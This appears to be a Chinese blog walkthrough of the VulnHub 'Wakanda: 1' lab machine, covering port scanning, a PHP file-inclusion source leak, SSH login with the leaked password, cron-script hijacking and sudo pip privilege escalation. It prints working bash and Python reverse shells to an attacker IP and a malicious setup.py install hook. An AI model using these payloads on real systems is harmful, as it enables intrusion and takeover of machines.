当前位置: 首页 > news >正文

【vulnhub】Wakanda :1靶机

靶机安装

下载地址:https://download.vulnhub.com/wakanda/wakanda-1.ova

运行环境:Virtual Box

信息收集

靶机IP扫描

netdiscover -i eth0 -r 192.168.7.0/24

端口扫描

nmap -A 192.168.7.243 -p-

80端口开启了http服务,在3333端口开启了ssh服务,且ssh版本为openssh6.7,之前了解到openssh7.7之前的版本中存在用户名枚举漏洞。

目录扫描

网址访问

查看源码

拼接扫描到的目录,没有什么有用的信息,

从网页源码上看给了一个参数,拼接访问一下index.php,因为他是脚本文件,不过得删除.php后缀才可以访问成功

lang表示可以随意切换网站的语言,在这里?lang=fr表示语言为法语,可以设置成中文,英语等语言,既然这个lang可以改变语言,那么说明改变语言使用了语言php文件,那么关联的就是文件包含漏洞了,页面没什么可以下手的地方,那我们就构造url,这里就关联到一个知识点,也是我们要用到的:php://filter.它是php中一个独有的协议,它作为一个中间流来处理其流,比如我们可以将我们手上的源码用base64解码来dowm下来.

/?lang=php://filter/read=convert.base64-encode/resource=index

base64解码

得到源代码,并且得到了一个password:Niamey4Ever227!!!

<?php
$password ="Niamey4Ever227!!!" ;//I have to remember itif (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}?><!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><meta name="description" content="Vibranium market"><meta name="author" content="mamadou"><title>Vibranium Market</title><link href="bootstrap.css" rel="stylesheet"><link href="cover.css" rel="stylesheet"></head><body class="text-center"><div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column"><header class="masthead mb-auto"><div class="inner"><h3 class="masthead-brand">Vibranium Market</h3><nav class="nav nav-masthead justify-content-center"><a class="nav-link active" href="#">Home</a><!-- <a class="nav-link active" href="?lang=fr">Fr/a> --></nav></div></header><main role="main" class="inner cover"><h1 class="cover-heading">Coming soon</h1><p class="lead"><?phpif (isset($_GET['lang'])){echo $message;}else{?>Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!<?php}
?></p><p class="lead"><a href="#" class="btn btn-lg btn-secondary">Learn more</a></p></main><footer class="mastfoot mt-auto"><div class="inner"><p>Made by<a href="#">@mamadou</a></p></div></footer></div></body></html>

获得了一个密码,想到了开放了3333端口,3333端口用于连接ssh,而连接ssh则需要用户名和密码,密码是有了,但是用户名没有,再反过web页面看一下,底下有作者,尝试一下

获取shell

进行ssh连接

ssh mamadou@192.168.7.243 -p 3333
#密码:Niamey4Ever227!!!

这里执行命令,发现执行不出来,这是开启了python shell ,只能通过函数来执行命令,很麻烦,因此,我们利用python shell再开启一个bash shell

import os
os.system("/bin/bash")

现在进行查看flag文件

再次进行目录翻找,发现了第2个flag,在目录/home/devops目录下,这应该是两个用户目录,进行查看,发现没有权限

无法执行sudo -l提权,翻看tmp目录

仔细观察后发现,test文件每隔五分钟就会被修改一次,说明有一个定时任务在不断被调用,/srv多用来存放系统服务类脚本的多,最后在srv下找到了这个定期运行文件

尝试将.antivirus.py的内容修改为如下内容

f=open('/home/devops/flag2.txt', 'r').read()
open('/tmp/flag.txt','w').write(f)
echo "f=open('/home/devops/flag2.txt', 'r').read()" > .antivirus.py
echo "open('/tmp/flag.txt','w').write(f)" >> .antivirus.py

几分钟后查看tmp目录,果然出现了flag.txt,读取便获得了第二个flag

下一步是要用devops用户身份创建一个shell,所以要转到这个用户,

将.antivirus.py内容改为

import os
os.system("echo \'bash -i >& /dev/tcp/192.168.7.47/6767 0>&1\'|bash")

但是我发现内容写不进去,试了好多方法,都没有成功,想到可以在kali上面写一个py文件,通过远程下载到靶机上面,然后替换.antivirus.py文件

挂起一个远程下载的服务

靶机进行远程下载

靶机要跳转到/tmp目录里面,否则不能下载

cd /tmpwget http://192.168.7.47:8000/python.py

进行文件替换命令

cp python.py /srv/.antivirus.py

进行监听6767端口,该脚本会自动执行,只需等待几分钟就会连接

提权

sudo提权

sudo -l

发现pip不需要密码

创建一个恶意setup.py并上传到tmp目录,和上面的方法一样,创建文件,并远程下载到/tmp目录下面

from setuptools import setup
from setuptools.command.install import install
import base64
import osclass CustomInstall(install):def run(self):install.run(self)RHOST = '192.168.7.47' reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 7777; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOSTencoded = base64.b64encode(reverse_shell)os.system('echo %s|base64 -d|bash' % encoded)setup(name='FakePip',version='0.0.1',description='This will exploit a sudoer able to /usr/bin/pip install *',url='https://github.com/0x00-0x00/fakepip',author='zc00l',author_email='andre.marques@esecurity.com.br',license='MIT',zip_safe=False,cmdclass={'install': CustomInstall})

攻击机开启nc监听端口,控制靶机执行

sudo -H /usr/bin/pip install . --upgrade --force-reinstall

查看最后一个flag

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 《向量数据库指南》——开源社区与商业化的平衡
  • 茶余饭后(六)
  • [AI Embedchain] 开始使用 - 全栈
  • Vue 2 TodoList 案例
  • 博弈dp,CF 731E - Funny Game
  • Linux安全与高级应用(三)深入探索MySQL数据库:安装、管理与安全实践
  • 在MySQL中,处理层次结构数据(如树状或组织结构图)的查询
  • 国家网络安全战略
  • 新160个crackme - 027-MexeliteCRK1
  • 深度学习:记一次由model.train() 引发的模型训练效果变差事故
  • 纯手工在内网部署一个Docker私有仓库
  • 【RISC-V设计-09】- RISC-V处理器设计K0A之CIC
  • android10 系统定制:增加应用锁功能
  • DS1302实时时钟(51单片机)
  • Flink cdc正确打开方式(flink on yarn)
  • 【mysql】环境安装、服务启动、密码设置
  • canvas 高仿 Apple Watch 表盘
  • Mysql数据库的条件查询语句
  • PHP 小技巧
  • python学习笔记-类对象的信息
  • Sass 快速入门教程
  • SpringCloud集成分布式事务LCN (一)
  • Stream流与Lambda表达式(三) 静态工厂类Collectors
  • V4L2视频输入框架概述
  • 创建一个Struts2项目maven 方式
  • 携程小程序初体验
  • 不要一棍子打翻所有黑盒模型,其实可以让它们发挥作用 ...
  • 基于django的视频点播网站开发-step3-注册登录功能 ...
  • ​​​​​​​Installing ROS on the Raspberry Pi
  • (3)(3.5) 遥测无线电区域条例
  • (delphi11最新学习资料) Object Pascal 学习笔记---第13章第6节 (嵌套的Finally代码块)
  • (ibm)Java 语言的 XPath API
  • (精确度,召回率,真阳性,假阳性)ACC、敏感性、特异性等 ROC指标
  • (每日一问)计算机网络:浏览器输入一个地址到跳出网页这个过程中发生了哪些事情?(废话少说版)
  • (十) 初识 Docker file
  • (转)【Hibernate总结系列】使用举例
  • (转)利用ant在Mac 下自动化打包签名Android程序
  • .Family_物联网
  • .NET/C# 解压 Zip 文件时出现异常:System.IO.InvalidDataException: 找不到中央目录结尾记录。
  • .net6 core Worker Service项目,使用Exchange Web Services (EWS) 分页获取电子邮件收件箱列表,邮件信息字段
  • .Net调用Java编写的WebServices返回值为Null的解决方法(SoapUI工具测试有返回值)
  • .NET基础篇——反射的奥妙
  • .net之微信企业号开发(一) 所使用的环境与工具以及准备工作
  • /usr/bin/perl:bad interpreter:No such file or directory 的解决办法
  • @Bean有哪些属性
  • @modelattribute注解用postman测试怎么传参_接口测试之问题挖掘
  • @serverendpoint注解_SpringBoot 使用WebSocket打造在线聊天室(基于注解)
  • [ Algorithm ] N次方算法 N Square 动态规划解决
  • [ 云计算 | AWS 实践 ] 基于 Amazon S3 协议搭建个人云存储服务
  • [20140403]查询是否产生日志
  • [2015][note]基于薄向列液晶层的可调谐THz fishnet超材料快速开关——
  • [ACP云计算]组件介绍
  • [AIGC] MySQL存储引擎详解
  • [C++数据结构](22)哈希表与unordered_set,unordered_map实现
  • [CF494C]Helping People